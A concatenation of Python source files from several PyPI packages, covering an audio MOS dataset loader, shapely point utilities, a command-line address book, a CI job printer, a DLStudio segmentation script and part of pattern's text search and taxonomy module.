n_mels=80, fmax=20000, ms_channel=None, ) np.save(feature_path, spec1) feature_path = file_path[:-4] + '_ms_16k.npy' try: spec2 = np.load(feature_path) except: spec2 = get_librosa_melspec( file_path, sr=16000, n_fft=4096, hop_length=0.01, win_length=0.02, n_mels=80, fmax=7200, ms_channel=None, ) np.save(feature_path, spec2) feature_path = file_path[:-4] + '_ms_8k.npy' try: spec3 = np.load(feature_path) except: spec3 = get_librosa_melspec( file_path, sr=8000, n_fft=4096, hop_length=0.01, win_length=0.02, n_mels=80, fmax=3600, ms_channel=None, ) np.save(feature_path, spec3) if sr == 16000 or sr == 32000: spec1 = sr feature_path = file_path[:-4] + '_ms_16k.npy' try: spec2 = np.load(feature_path) except: spec2 = get_librosa_melspec( file_path, sr=16000, n_fft=4096, hop_length=0.01, win_length=0.02, n_mels=80, fmax=7200, ms_channel=None, ) np.save(feature_path, spec2) feature_path = file_path[:-4] + '_ms_8k.npy' try: spec3 = np.load(feature_path) except: spec3 = get_librosa_melspec( file_path, sr=8000, n_fft=4096, hop_length=0.01, win_length=0.02, n_mels=80, fmax=3600, ms_channel=None, ) np.save(feature_path, spec3) if sr == 8000: spec1 = sr spec2 = sr feature_path = file_path[:-4] + '_ms_8k.npy' try: spec3 = np.load(feature_path) except: spec3 = get_librosa_melspec( file_path, sr=8000, n_fft=4096, hop_length=0.01, win_length=0.02, n_mels=80, fmax=3600, ms_channel=None, ) np.save(feature_path, spec3) # import pdb; pdb.set_trace() return sr, spec1, spec2, spec3 def __getitem__(self, index): assert isinstance(index, int), 'index must be integer (no slice)' # import pdb; pdb.set_trace() if self.to_memory: data = self.mem_list[index] else: if self.task_type == 0: data = self._load_spec(index) elif self.task_type == 1: data = self._load_spec_multi_task(index) elif self.task_type == 2: data = self._load_spec_multi_feature(index) elif self.task_type == 3: data = self._load_spec_multi_resolution(index) elif self.task_type == 4: data = self._load_spec_multi_scale(index) # Segment specs file_path = os.path.join(self.data_dir, self.df[self.filename_column].iloc[index]) # file_path = './test/' + self.df['db'].iloc[index] + '/' + self.df['deg_wav'].iloc[index] if self.seg_length is not None: # added 20220307 if self.task_type == 0: spec = data x_spec_seg, n_wins = segment_specs(file_path, spec, self.seg_length, self.seg_hop_length, self.max_length) elif self.task_type == 1: spec = data x_spec_seg, n_wins = segment_specs(file_path, spec, self.seg_length, self.seg_hop_length, self.max_length) elif self.task_type == 2: spec, ssl = data x_spec_seg, n_wins = segment_specs(file_path, spec, self.seg_length, self.seg_hop_length, self.max_length) x_spec_seg_ssl, n_wins = segment_specs(file_path, ssl, self.seg_length, self.seg_hop_length, self.max_length) elif self.task_type == 3: spec1 ,spec2, spec3 = data x_spec_seg_1, n_wins_1 = segment_specs(file_path, spec1, self.seg_length, self.seg_hop_length, self.max_length) x_spec_seg_2, n_wins_2 = segment_specs(file_path, spec2, self.seg_length, self.seg_hop_length, self.max_length) x_spec_seg_3, n_wins_3 = segment_specs(file_path, spec3, self.seg_length, self.seg_hop_length, self.max_length) elif self.task_type == 4: sr, spec1 ,spec2, spec3 = data if sr == 48000 or sr == 44100: x_spec_seg_1, n_wins_1 = segment_specs(file_path, spec1, self.seg_length, self.seg_hop_length, self.max_length) x_spec_seg_2, n_wins_2 = segment_specs(file_path, spec2, self.seg_length, self.seg_hop_length, self.max_length) x_spec_seg_3, n_wins_3 = segment_specs(file_path, spec3, self.seg_length, self.seg_hop_length, self.max_length) elif sr == 16000 or sr == 32000: x_spec_seg_2, n_wins_2 = segment_specs(file_path, spec2, self.seg_length, self.seg_hop_length, self.max_length) x_spec_seg_3, n_wins_3 = segment_specs(file_path, spec3, self.seg_length, self.seg_hop_length, self.max_length) x_spec_seg_1, n_wins_1 = np.zeros(x_spec_seg_2.shape), np.zeros(n_wins_3.shape, dtype=n_wins_3.dtype) elif sr == 8000: x_spec_seg_3, n_wins_3 = segment_specs(file_path, spec3, self.seg_length, self.seg_hop_length, self.max_length) x_spec_seg_1, n_wins_1 = np.zeros(x_spec_seg_3.shape), np.zeros(n_wins_3.shape, dtype=n_wins_3.dtype) x_spec_seg_2, n_wins_2 = np.zeros(x_spec_seg_3.shape), np.zeros(n_wins_3.shape, dtype=n_wins_3.dtype) else: x_spec_seg = spec n_wins = spec.shape[1] if self.max_length is not None: x_padded = np.zeros((x_spec_seg.shape[0], self.max_length)) x_padded[:,:n_wins] = x_spec_seg x_spec_seg = np.expand_dims(x_padded.transpose(1,0), axis=(1, 3)) if not torch.is_tensor(x_spec_seg): x_spec_seg = torch.tensor(x_spec_seg, dtype=torch.float) # Get MOS (apply NaN in case of prediction only mode) if self.dim: if self.mos_column=='predict_only': y = np.full((5,1), np.nan).reshape(-1).astype('float32') else: y_mos = self.df['mos'].iloc[index].reshape(-1).astype('float32') y_noi = self.df['noi'].iloc[index].reshape(-1).astype('float32') y_dis = self.df['dis'].iloc[index].reshape(-1).astype('float32') y_col = self.df['col'].iloc[index].reshape(-1).astype('float32') y_loud = self.df['loud'].iloc[index].reshape(-1).astype('float32') y = np.concatenate((y_mos, y_noi, y_dis, y_col, y_loud), axis=0) else: if self.mos_column=='predict_only': y = np.full(1, np.nan).reshape(-1).astype('float32') y1 = np.full(1, np.nan).reshape(-1).astype('float32') y2 = np.full(1, np.nan).reshape(-1).astype('float32') else: y = self.df[self.mos_column].iloc[index].reshape(-1).astype('float32') y1 = self.df[self.mos_std_column].iloc[index].reshape(-1).astype('float32') y2 = self.df[self.votes_column].iloc[index].reshape(-1).astype('int16') # import pdb; pdb.set_trace() if self.task_type == 0 or self.task_type == 1 : return x_spec_seg, y, (index, n_wins), y1, y2 elif self.task_type == 2: return x_spec_seg, x_spec_seg_ssl, y, (index, n_wins), y1, y2 elif self.task_type == 3: return x_spec_seg_1, x_spec_seg_2, x_spec_seg_3, y, (index, n_wins_1, n_wins_2, n_wins_3), y1, y2 elif self.task_type == 4 : if not torch.is_tensor(sr): sr = torch.tensor(sr) if not torch.is_tensor(x_spec_seg_1): x_spec_seg_1 = torch.tensor(x_spec_seg_1, dtype=torch.float32) if not torch.is_tensor(x_spec_seg_2): x_spec_seg_2 = torch.tensor(x_spec_seg_2, dtype=torch.float32) return sr, x_spec_seg_1, x_spec_seg_2, x_spec_seg_3, y, (index, n_wins_1, n_wins_2, n_wins_3), y1, y2 def __len__(self): return len(self.df) #%% Spectrograms def segment_specs(file_path, x, seg_length, seg_hop=1, max_length=None): ''' Segment a spectrogram into "seg_length" wide spectrogram segments. Instead of using only the frequency bin of the current time step, the neighboring bins are included as input to the CNN. For example for a seg_length of 7, the previous 3 and the follwing 3 frequency bins are included. A spectrogram with input size [H x W] will be segmented to: [W-(seg_length-1) x C x H x seg_length], where W is the width of the original mel-spec (corresponding to the length of the speech signal), H is the height of the mel-spec (corresponding to the number of mel bands), C is the number of CNN input Channels (always one in our case). ''' if seg_length % 2 == 0: raise ValueError('seg_length must be odd! (seg_lenth={})'.format(seg_length)) if not torch.is_tensor(x): x = torch.tensor(x) n_wins = x.shape[1]-(seg_length-1) # broadcast magic to segment melspec idx1 = torch.arange(seg_length) idx2 = torch.arange(n_wins) idx3 = idx1.unsqueeze(0) + idx2.unsqueeze(1) x = x.transpose(1,0)[idx3,:].unsqueeze(1).transpose(3,2) if seg_hop>1: x = x[::seg_hop,:] n_wins = int(np.ceil(n_wins/seg_hop)) if max_length is not None: if max_length < n_wins: raise ValueError('n_wins {} > max_length {} --- {}. Increase max window length ms_max_segments!'.format(n_wins, max_length, file_path)) x_padded = torch.zeros((max_length, x.shape[1], x.shape[2], x.shape[3])) x_padded[:n_wins,:] = x x = x_padded return x, np.array(n_wins) def get_librosa_melspec( file_path, sr=48e3, n_fft=1024, hop_length=80, win_length=170, n_mels=32, fmax=16e3, ms_channel=None, ): ''' Calculate mel-spectrograms with Librosa. ''' # Calc spec try: if ms_channel is not None: y, sr = lb.load(file_path, sr=sr, mono=False) if len(y.shape)>1: y = y[ms_channel, :] else: y, sr = lb.load(file_path, sr=sr) except: raise ValueError('Could not load file {}'.format(file_path)) hop_length = int(sr * hop_length) win_length = int(sr * win_length) S = lb.feature.melspectrogram( y=y, sr=sr, S=None, n_fft=n_fft, hop_length=hop_length, win_length=win_length, window='hann', center=True, pad_mode='reflect', power=1.0, n_mels=n_mels, fmin=0.0, fmax=fmax, htk=False, norm='slaney', ) spec = lb.core.amplitude_to_db(S, ref=1.0, amin=1e-4, top_db=80.0) return spec
PypiClean
/Jord-0.1.5.tar.gz/Jord-0.1.5/jord/shapely_utilities/points.py
from typing import Sequence, List, Optional, Union, Tuple, Iterable, Generator from shapely.geometry.base import BaseGeometry from warg import Number import numpy from shapely.geometry import LineString, Point, MultiPoint __all__ = [ "unique_line_points", "nearest_neighbor_within", "azimuth", "shift_point", "closest_object", ] def unique_line_points(lines: Sequence[LineString]) -> List[Point]: """ :param lines: :return: Return list of unique vertices from list of LineStrings. :rtype: List[Point] """ vertices = [] for line in lines: vertices.extend(list(line.coords)) return [Point(p) for p in set(vertices)] def nearest_neighbor_within(others: Sequence, point, max_distance) -> Optional[Point]: """Find the nearest point among others up to a maximum distance. :param others: a list of Points or a MultiPoint :param point: a Point :param max_distance: maximum distance to search for the nearest neighbor :return: A shapely Point if one is within max_distance, None otherwise :rtype: Optional[Point] """ search_region = point.buffer(max_distance) interesting_points = search_region.intersection(MultiPoint(others)) if not interesting_points: closest_point = None elif isinstance(interesting_points, Point): closest_point = interesting_points else: distances = [ point.distance(ip) for ip in interesting_points if point.distance(ip) > 0 ] closest_point = interesting_points[distances.index(min(distances))] return closest_point def closest_object( geometries: Iterable[BaseGeometry], point: Point ) -> Tuple[BaseGeometry, float, int]: """Find the nearest geometry among a list, measured from fixed point. Args: geometries: a list of shapely geometry objects point: a shapely Point Returns: Tuple (geom, min_dist, min_index) of the geometry with minimum distance to point, its distance min_dist and the list index of geom, so that geom = geometries[min_index]. """ if isinstance(geometries, Generator): geometries = list(geometries) min_dist, min_index = min( (point.distance(geom), k) for (k, geom) in enumerate(geometries) ) return geometries[min_index], min_dist, min_index def shift_point( c1: Union[Point, Tuple[Number, Number]], c2: Union[Point, Tuple[Number, Number]], offset: float, ) -> Point: """ shift points with offset in orientation of line c1->c2 """ if isinstance(c1, Point): x1, y1 = c1.coords[0] else: x1, y1 = c1 if isinstance(c2, Point): x2, y2 = c2.coords[0] else: x2, y2 = c2 if ((x1 - x2) == 0) and ((y1 - y2) == 0): # zero length line x_new, y_new = x1, y1 else: rel_length = numpy.minimum( offset / numpy.sqrt((x1 - x2) ** 2 + (y1 - y2) ** 2), 1 ) x_new = x1 + (x2 - x1) * rel_length y_new = y1 + (y2 - y1) * rel_length return Point(x_new, y_new) def azimuth(point1: Point, point2: Point) -> float: """ The clockwise angle from North to line of two points :param point1: :type point1: Point :param point2: :type point2: Point :return: angle :rtype: float """ angle = numpy.arctan2(point2.x - point1.x, point2.y - point1.y) # Gets the angle between the first and last coordinate of a linestring return ( numpy.degrees(angle) if angle >= 0 else numpy.degrees(angle) + 360 ) % 180 # Modulo is used on the angle to produce a result between 0 and 180 degrees if __name__ == "__main__": print(azimuth(Point(0, 0), Point(1, 1))) print(azimuth(Point(1, 1), Point(0, 0))) print(shift_point(Point(1, 1), Point(0, 0), 1)) print(shift_point(Point(1, 1), Point(0, 0), 2)) print(shift_point(Point(1, 1), Point(0, 0), 3)) print(shift_point(Point(0, 0), Point(1, 1), 1)) print(shift_point(Point(0, 0), Point(1, 1), 0))
PypiClean
/B0tHe1Per_test_api-0.5.tar.gz/B0tHe1Per_test_api-0.5/B0tHe1Per_test_api/address_book.py
from datetime import datetime, timedelta import re import pickle file_name = 'AddressBook.bin' def save(input, file_name): with open(file_name, 'wb') as file: pickle.dump(input.contacts, file) def load(input, file_name): with open(file_name, 'rb') as file: input.contacts = pickle.load(file) return input.contacts class Contact: def __init__(self, name, address, phone_number, email, birthday, notes=""): self.name = name self.address = address self.phone_number = phone_number self.email = email self.birthday = datetime.strptime(birthday, "%m/%d/%Y").date() self.notes = notes def __str__(self): return f"Name: {self.name}, Address: {self.address}, Phone number: {self.phone_number}, Email: {self.email}, Birthday: {self.birthday}, Notes: {self.notes}" def days_until_birthday(self): today = datetime.today().date() birthday = self.birthday.replace(year=today.year) if birthday < today: birthday = self.birthday.replace(year=today.year + 1) delta = birthday - today return delta.days class AddressBook: def __init__(self): self.contacts = [] def add_contact(self, contact): self.contacts.append(contact) def remove_contact(self, name): for contact in self.contacts: if contact.name == name: self.contacts.remove(contact) def search_contact(self, name): for contact in self.contacts: if contact.name == name: return contact return None def display_contacts(self): for contact in self.contacts: print(contact) print(f"Days until the next birthday: {contact.days_until_birthday()}") def display_contacts_for_input_days(self, days): print(f"Contacts with birthday in next {days} days:") count = 0 for contact in self.contacts: next_birthday = contact.days_until_birthday() # print(f"Contacts with birthday in next {days} days") if next_birthday < days: count += 1 print(contact) if count == 0: print(f"No contacts with birthday in next {days} days") address_book = AddressBook() try: load(address_book, file_name) except: print("adress book is clean") while True: print("\n--- Address Book Menu ---") print("1. Add/editing contact") print("2. Remove contact") print("3. Search for contact") print("4. Display all contacts") print("5. Display all contacts with birthday in next N days:") print("6. Quit") choice = input("Enter your choice (1-6): ") if choice == "1": name = input("Enter name: ") address = input("Enter address: ") # Phone validation phone_result = False while not phone_result: phone_number = input("Enter phone number (only digits): ") if phone_number.isdigit(): phone_result = True else: print("Wrong phone.") # Email validation email_result = False while not email_result: email = input("Enter email: ") if (re.match(r'^[^\s@]+@[^\s@]+\.[^\s@]+$', email)): email_result = True else: print("Wrong email.") # Birthday validation birthday_result = False while not birthday_result: birthday = input("Enter birthday (MM/DD/YYYY): ") if (datetime.strptime(birthday,"%m/%d/%Y")): birthday_result = True else: print("Wrong date.") notes = input("Enter notes: ") contact = Contact(name, address, phone_number, email, birthday, notes) address_book.add_contact(contact) print("Contact added.") elif choice == "2": name = input("Enter name to remove: ") address_book.remove_contact(name) print("Contact removed.") elif choice == "3": name = input("Enter name to search for: ") search_result = address_book.search_contact(name) if search_result: print(search_result) print(f"Days until the next birthday: {search_result.days_until_birthday()}") else: print("Contact not found.") elif choice == "4": address_book.display_contacts() elif choice == "5": days = int(input("Enter days: ")) address_book.display_contacts_for_input_days(days) elif choice == "6": save(address_book, file_name) print("Goodbye!") break else: print("Invalid choice. Please try again.")
PypiClean
/Cibyl-1.0.0.0rc1.tar.gz/Cibyl-1.0.0.0rc1/cibyl/outputs/cli/ci/system/impls/jobs/colored.py
from overrides import overrides import cibyl.outputs.cli.ci.system.common.features as features_queries from cibyl.cli.output import OutputStyle from cibyl.cli.query import QueryType from cibyl.models.ci.base.build import Build from cibyl.models.ci.base.job import Job from cibyl.models.ci.base.system import System from cibyl.models.ci.base.test import Test from cibyl.outputs.cli.ci.system.common.builds import (get_duration_section, get_status_section) from cibyl.outputs.cli.ci.system.common.models import (get_plugin_section, has_plugin_section) from cibyl.outputs.cli.ci.system.common.stages import print_stage from cibyl.outputs.cli.ci.system.impls.base.colored import \ ColoredBaseSystemPrinter from cibyl.utils.sorting import nsort, sort from cibyl.utils.strings import IndentedTextBuilder from cibyl.utils.time import as_minutes class ColoredJobsSystemPrinter(ColoredBaseSystemPrinter): """Printer meant for :class:`JobsSystem`, decorated with colors for easier read. """ @overrides def print_system(self, system: System) -> str: printer = IndentedTextBuilder() # Begin with the text common to all systems printer.add(super().print_system(system), 0) if self.query != QueryType.NONE: for job in sort(system.jobs.values(), self._job_sorter): printer.add(self.print_job(job), 1) if not system.is_queried(): printer.add(self.palette.blue('No query performed'), 1) elif not features_queries.is_pure_features_query(self.query): # avoid printing the number of jobs in case of having requested # only features without jobs flag header = 'Total jobs found in query: ' printer.add(self.palette.blue(header), 1) printer[-1].append(len(system.jobs)) return printer.build() def print_job(self, job: Job) -> str: """ :param job: The job. :return: Textual representation of the provided model. """ printer = IndentedTextBuilder() printer.add(self.palette.blue('Job: '), 0) printer[-1].append(job.name.value) if self.verbosity > 0: if job.url.value: printer.add(self.palette.blue('URL: '), 1) printer[-1].append(job.url.value) if features_queries.is_features_query(self.query): # if features are used, do not print further below return printer.build() if self.query >= QueryType.BUILDS: if job.builds.value: for build in nsort(job.builds.values(), self._build_sorter): printer.add(self.print_build(build), 1) else: msg = 'No builds in query.' printer.add(self.palette.red(msg), 1) if has_plugin_section(job): printer.add(get_plugin_section(OutputStyle.TEXT, job, self), 1) return printer.build() def print_build(self, build: Build) -> str: """ :param build: The build. :return: Textual representation of the provided model. """ printer = IndentedTextBuilder() printer.add(self.palette.blue('Build: '), 0) printer[0].append(build.build_id.value) if build.status.value: printer.add(get_status_section(self.palette, build), 1) if self.verbosity > 0: if build.duration.value: printer.add(get_duration_section(self.palette, build), 1) if self.query >= QueryType.TESTS: if build.tests.value: for test in build.tests.values(): printer.add(self.print_test(test), 1) else: msg = 'No tests in query.' printer.add(self.palette.red(msg), 1) if build.stages.value: printer.add(self.palette.blue('Stages: '), 1) for stage in build.stages: printer.add(print_stage(stage, self.palette, self.verbosity), 2) return printer.build() def print_test(self, test: Test) -> str: """ :param test: The test. :return: Textual representation of the provided model. """ printer = IndentedTextBuilder() printer.add(self.palette.blue('Test: '), 0) printer[-1].append(test.name.value) if test.result.value: printer.add(self.palette.blue('Result: '), 1) if test.result.value in ['SUCCESS', 'PASSED']: printer[-1].append(self.palette.green(test.result.value)) elif test.result.value in ['FAILURE', 'FAILED', 'REGRESSION']: printer[-1].append(self.palette.red(test.result.value)) elif test.result.value == "UNSTABLE": printer[-1].append(self.palette.yellow(test.result.value)) elif test.result.value == "SKIPPED": printer[-1].append(self.palette.blue(test.result.value)) if test.class_name.value: printer.add(self.palette.blue('Class name: '), 1) printer[-1].append(test.class_name.value) if self.verbosity > 0: if test.duration.value: duration = as_minutes(test.duration.value) printer.add(self.palette.blue('Duration: '), 1) printer[-1].append(f'{duration:.2f}min') return printer.build()
PypiClean
/DLStudio-2.3.0.tar.gz/DLStudio-2.3.0/Examples/semantic_segmentation.py
## semantic_segmentation.py """ This script should be your starting point if you wish to learn how to use the mUnet neural network for semantic segmentation of images. As mentioned elsewhere in the main documentation page, mUnet assigns an output channel to each different type of object that you wish to segment out from an image. So, given a test image at the input to the network, all you have to do is to examine each channel at the output for segmenting out the objects that correspond to that output channel. """ import random import numpy import torch import os, sys """ seed = 0 random.seed(seed) torch.manual_seed(seed) torch.cuda.manual_seed(seed) numpy.random.seed(seed) torch.backends.cudnn.deterministic=True torch.backends.cudnn.benchmarks=False os.environ['PYTHONHASHSEED'] = str(seed) """ ## watch -d -n 0.5 nvidia-smi from DLStudio import * dls = DLStudio( # dataroot = "/home/kak/ImageDatasets/PurdueShapes5MultiObject/", dataroot = "./data/PurdueShapes5MultiObject/", image_size = [64,64], path_saved_model = "./saved_model", momentum = 0.9, learning_rate = 1e-4, epochs = 6, batch_size = 4, classes = ('rectangle','triangle','disk','oval','star'), use_gpu = True, ) segmenter = DLStudio.SemanticSegmentation( dl_studio = dls ) dataserver_train = DLStudio.SemanticSegmentation.PurdueShapes5MultiObjectDataset( train_or_test = 'train', dl_studio = dls, dataset_file = "PurdueShapes5MultiObject-10000-train.gz", ) dataserver_test = DLStudio.SemanticSegmentation.PurdueShapes5MultiObjectDataset( train_or_test = 'test', dl_studio = dls, dataset_file = "PurdueShapes5MultiObject-1000-test.gz" ) segmenter.dataserver_train = dataserver_train segmenter.dataserver_test = dataserver_test segmenter.load_PurdueShapes5MultiObject_dataset(dataserver_train, dataserver_test) model = segmenter.mUnet(skip_connections=True, depth=16) #model = segmenter.mUnet(skip_connections=False, depth=4) number_of_learnable_params = sum(p.numel() for p in model.parameters() if p.requires_grad) print("\n\nThe number of learnable parameters in the model: %d\n" % number_of_learnable_params) num_layers = len(list(model.parameters())) print("\nThe number of layers in the model: %d\n\n" % num_layers) segmenter.run_code_for_training_for_semantic_segmentation(model) import pymsgbox response = pymsgbox.confirm("Finished training. Start testing on unseen data?") if response == "OK": segmenter.run_code_for_testing_semantic_segmentation(model)
PypiClean
/Docassemble-Pattern-3.6.7.tar.gz/Docassemble-Pattern-3.6.7/docassemble_pattern/text/search.py
#################################################################################################### from __future__ import unicode_literals from __future__ import absolute_import from __future__ import division from io import open from builtins import str, bytes, dict, int from builtins import map, zip, filter from builtins import object, range import re import itertools from functools import cmp_to_key #--- TEXT, SENTENCE AND WORD ----------------------------------------------------------------------- # The search() and match() functions work on Text, Sentence and Word objects (see pattern.text.tree), # i.e., the parse tree including part-of-speech tags and phrase chunk tags. # The pattern.text.search Match object will contain matched Word objects, # emulated with the following classes if the original input was a plain string: PUNCTUATION = ".,;:!?()[]{}`'\"@#$^&*+-|=~_" RE_PUNCTUATION = "|".join(map(re.escape, PUNCTUATION)) RE_PUNCTUATION = re.compile("(%s)" % RE_PUNCTUATION) class Text(list): def __init__(self, string="", token=["word"]): """ A list of sentences, where each sentence is separated by a period. """ list.__init__(self, (Sentence(s + ".", token) for s in string.split("."))) @property def sentences(self): return self @property def words(self): return list(chain(*self)) class Sentence(list): def __init__(self, string="", token=["word"]): """ A list of words, where punctuation marks are split from words. """ s = RE_PUNCTUATION.sub(" \\1 ", string) # Naive tokenization. s = re.sub(r"\s+", " ", s) s = re.sub(r" ' (d|m|s|ll|re|ve)", " '\\1", s) s = s.replace("n ' t", " n't") s = s.split(" ") list.__init__(self, (Word(self, w, index=i) for i, w in enumerate(s))) @property def string(self): return " ".join(w.string for w in self) @property def words(self): return self @property def chunks(self): return [] class Word(object): def __init__(self, sentence, string, tag=None, index=0): """ A word with a position in a sentence. """ self.sentence, self.string, self.tag, self.index = sentence, string, tag, index def __repr__(self): return "Word(%s)" % repr(self.string) def _get_type(self): return self.tag def _set_type(self, v): self.tag = v type = property(_get_type, _set_type) @property def chunk(self): return None @property def lemma(self): return None #--- STRING MATCHING ------------------------------------------------------------------------------- WILDCARD = "*" regexp = type(re.compile(r".")) def _match(string, pattern): """ Returns True if the pattern matches the given word string. The pattern can include a wildcard (*front, back*, *both*, in*side), or it can be a compiled regular expression. """ p = pattern try: if p[:1] == WILDCARD and (p[-1:] == WILDCARD and p[1:-1] in string or string.endswith(p[1:])): return True if p[-1:] == WILDCARD and not p[-2:-1] == "\\" and string.startswith(p[:-1]): return True if p == string: return True if WILDCARD in p[1:-1]: p = p.split(WILDCARD) return string.startswith(p[0]) and string.endswith(p[-1]) except: # For performance, calling isinstance() last is 10% faster for plain strings. if isinstance(p, regexp): return p.search(string) is not None return False #--- LIST FUNCTIONS -------------------------------------------------------------------------------- # Search patterns can contain optional constraints, # so we need to find all possible variations of a pattern. def unique(iterable): """ Returns a list copy in which each item occurs only once (in-order). """ seen = set() return [x for x in iterable if x not in seen and not seen.add(x)] def find(function, iterable): """ Returns the first item in the list for which function(item) is True, None otherwise. """ for x in iterable: if function(x) is True: return x def combinations(iterable, n): # Backwards compatibility. return product(iterable, repeat=n) def product(*args, **kwargs): """ Yields all permutations with replacement: list(product("cat", repeat=2)) => [("c", "c"), ("c", "a"), ("c", "t"), ("a", "c"), ("a", "a"), ("a", "t"), ("t", "c"), ("t", "a"), ("t", "t")] """ p = [[]] for iterable in map(tuple, args) * kwargs.get("repeat", 1): p = [x + [y] for x in p for y in iterable] for p in p: yield tuple(p) try: from itertools import product except: pass def variations(iterable, optional=lambda x: False): """ Returns all possible variations of a sequence with optional items. """ # For example: variations(["A?", "B?", "C"], optional=lambda s: s.endswith("?")) # defines a sequence where constraint A and B are optional: # [("A?", "B?", "C"), ("B?", "C"), ("A?", "C"), ("C")] iterable = tuple(iterable) # Create a boolean sequence where True means optional: # ("A?", "B?", "C") => [True, True, False] o = [optional(x) for x in iterable] # Find all permutations of the boolean sequence: # [True, False, True], [True, False, False], [False, False, True], [False, False, False]. # Map to sequences of constraints whose index in the boolean sequence yields True. a = set() for p in product([False, True], repeat=sum(o)): p = list(p) v = [b and (b and p.pop(0)) for b in o] v = tuple(iterable[i] for i in range(len(v)) if not v[i]) a.add(v) # Longest-first. f = lambda x, y: len(y) - len(x) return sorted(a, key=cmp_to_key(f)) #### TAXONOMY ###################################################################################### #--- ORDERED DICTIONARY ---------------------------------------------------------------------------- # A taxonomy is based on an ordered dictionary # (i.e., if a taxonomy term has multiple parents, the most recent parent is the default). class odict(dict): def __init__(self, items=[]): """ A dictionary with ordered keys (first-in last-out). """ dict.__init__(self) self._o = [] # List of ordered keys. if isinstance(items, dict): items = reversed(list(items.items())) for k, v in items: self.__setitem__(k, v) @classmethod def fromkeys(cls, keys=[], v=None): return cls((k, v) for k in keys) def push(self, kv): """ Adds a new item from the given (key, value)-tuple. If the key exists, pushes the updated item to the head of the dict. """ if kv[0] in self: self.__delitem__(kv[0]) self.__setitem__(kv[0], kv[1]) append = push def __iter__(self): return reversed(self._o) def __setitem__(self, k, v): if k not in self: self._o.append(k) dict.__setitem__(self, k, v) def __delitem__(self, k): self._o.remove(k) dict.__delitem__(self, k) def update(self, d): for k, v in reversed(list(d.items())): self.__setitem__(k, v) def setdefault(self, k, v=None): if k not in self: self.__setitem__(k, v) return self[k] def pop(self, k, *args, **kwargs): if k in self: self._o.remove(k) return dict.pop(self, k, *args, **kwargs) def popitem(self): k = self._o[-1] if self._o else None return (k, self.pop(k)) def clear(self): self._o = [] dict.clear(self) def iterkeys(self): return reversed(self._o) def itervalues(self): return map(self.__getitem__, reversed(self._o)) def iteritems(self): return iter(zip(self.iterkeys(), self.itervalues())) def keys(self): return list(self.iterkeys()) def values(self): return list(self.itervalues()) def items(self): return list(self.iteritems()) def copy(self): return self.__class__(reversed(list(self.items()))) def __repr__(self): return "{%s}" % ", ".join("%s: %s" % (repr(k), repr(v)) for k, v in self.items()) #--- TAXONOMY -------------------------------------------------------------------------------------- class Taxonomy(dict): def __init__(self): """ Hierarchical tree of words classified by semantic type. For example: "rose" and "daffodil" can be classified as "flower": >>> taxonomy.append("rose", type="flower") >>> taxonomy.append("daffodil", type="flower") >>> print(taxonomy.children("flower")) Taxonomy terms can be used in a Pattern: FLOWER will match "flower" as well as "rose" and "daffodil". The taxonomy is case insensitive by default. """ self.case_sensitive = False self._values = {} self.classifiers = [] def _normalize(self, term): try: return not self.case_sensitive and term.lower() or term except: # Not a string. return term def __contains__(self, term): # Check if the term is in the dictionary. # If the term is not in the dictionary, check the classifiers. term = self._normalize(term) if dict.__contains__(self, term): return True for classifier in self.classifiers: if classifier.parents(term) \ or classifier.children(term): return True return False def append(self, term, type=None, value=None): """ Appends the given term to the taxonomy and tags it as the given type. Optionally, a disambiguation value can be supplied. For example: taxonomy.append("many", "quantity", "50-200") """ term = self._normalize(term) type = self._normalize(type) self.setdefault(term, (odict(), odict()))[0].push((type, True)) self.setdefault(type, (odict(), odict()))[1].push((term, True)) self._values[term] = value def classify(self, term, **kwargs): """ Returns the (most recently added) semantic type for the given term ("many" => "quantity"). If the term is not in the dictionary, try Taxonomy.classifiers. """ term = self._normalize(term) if dict.__contains__(self, term): return list(self[term][0].keys())[-1] # If the term is not in the dictionary, check the classifiers. # Returns the first term in the list returned by a classifier. for classifier in self.classifiers: # **kwargs are useful if the classifier requests extra information, # for example the part-of-speech tag. v = classifier.parents(term, **kwargs) if v: return v[0] def parents(self, term, recursive=False, **kwargs): """ Returns a list of all semantic types for the given term. If recursive=True, traverses parents up to the root. """ def dfs(term, recursive=False, visited={}, **kwargs): if term in visited: # Break on cyclic relations. return [] visited[term], a = True, [] if dict.__contains__(self, term): a = list(self[term][0].keys()) for classifier in self.classifiers: a.extend(classifier.parents(term, **kwargs) or []) if recursive: for w in a: a += dfs(w, recursive, visited, **kwargs) return a return unique(dfs(self._normalize(term), recursive, {}, **kwargs)) def children(self, term, recursive=False, **kwargs): """ Returns all terms of the given semantic type: "quantity" => ["many", "lot", "few", ...] If recursive=True, traverses children down to the leaves. """ def dfs(term, recursive=False, visited={}, **kwargs): if term in visited: # Break on cyclic relations. return [] visited[term], a = True, [] if dict.__contains__(self, term): a = list(self[term][1].keys()) for classifier in self.classifiers: a.extend(classifier.children(term, **kwargs) or []) if recursive: for w in a: a += dfs(w, recursive, visited, **kwargs) return a return unique(dfs(self._normalize(term), recursive, {}, **kwargs)) def value(self, term, **kwargs): """ Returns the value of the given term ("many" => "50-200") """ term = self._normalize(term) if term in self._values: return self._values[term] for classifier in self.classifiers: v = classifier.value(term, **kwargs) if v is not None: return v def remove(self, term): if dict.__contains__(self, term): for w in self.parents(term): self[w][1].pop(term) dict.pop(self, term) # Global taxonomy: TAXONOMY = taxonomy = Taxonomy() #taxonomy.append("rose", type="flower") #taxonomy.append("daffodil", type="flower") #taxonomy.append("flower", type="plant") #print(taxonomy.classify("rose")) #print(taxonomy.children("plant", recursive=True)) #c = Classifier(parents=lambda term: term.endswith("ness") and ["quality"] or []) #taxonomy.classifiers.append(c) #print(taxonomy.classify("roughness")) #--- TAXONOMY CLASSIFIER --------------------------------------------------------------------------- class Classifier(object): def __init__(self, parents=lambda term: [], children=lambda term: [], value=lambda term: None): """ A classifier uses a rule-based approach to enrich the taxonomy, for example: c = Classifier(parents=lambda term: term.endswith("ness") and ["quality"] or []) taxonomy.classifiers.append(c) This tags any word ending in -ness as "quality". This is much shorter than manually adding "roughness", "sharpness", ... Other examples of useful classifiers: calling en.wordnet.Synset.hyponyms() or en.number(). """ self.parents = parents self.children = children self.value = value # Classifier(parents=lambda word: word.endswith("ness") and ["quality"] or []) # Classifier(parents=lambda word, chunk=None: chunk=="VP" and [ACTION] or []) class WordNetClassifier(Classifier): def __init__(self, wordnet=None): if wordnet is None: try: from pattern.en import wordnet except: try: from .en import wordnet except: pass Classifier.__init__(self, self._parents, self._children) self.wordnet = wordnet def _children(self, word, pos="NN"): try: return [w.synonyms[0] for w in self.wordnet.synsets(word, pos[:2])[0].hyponyms()] except: pass def _parents(self, 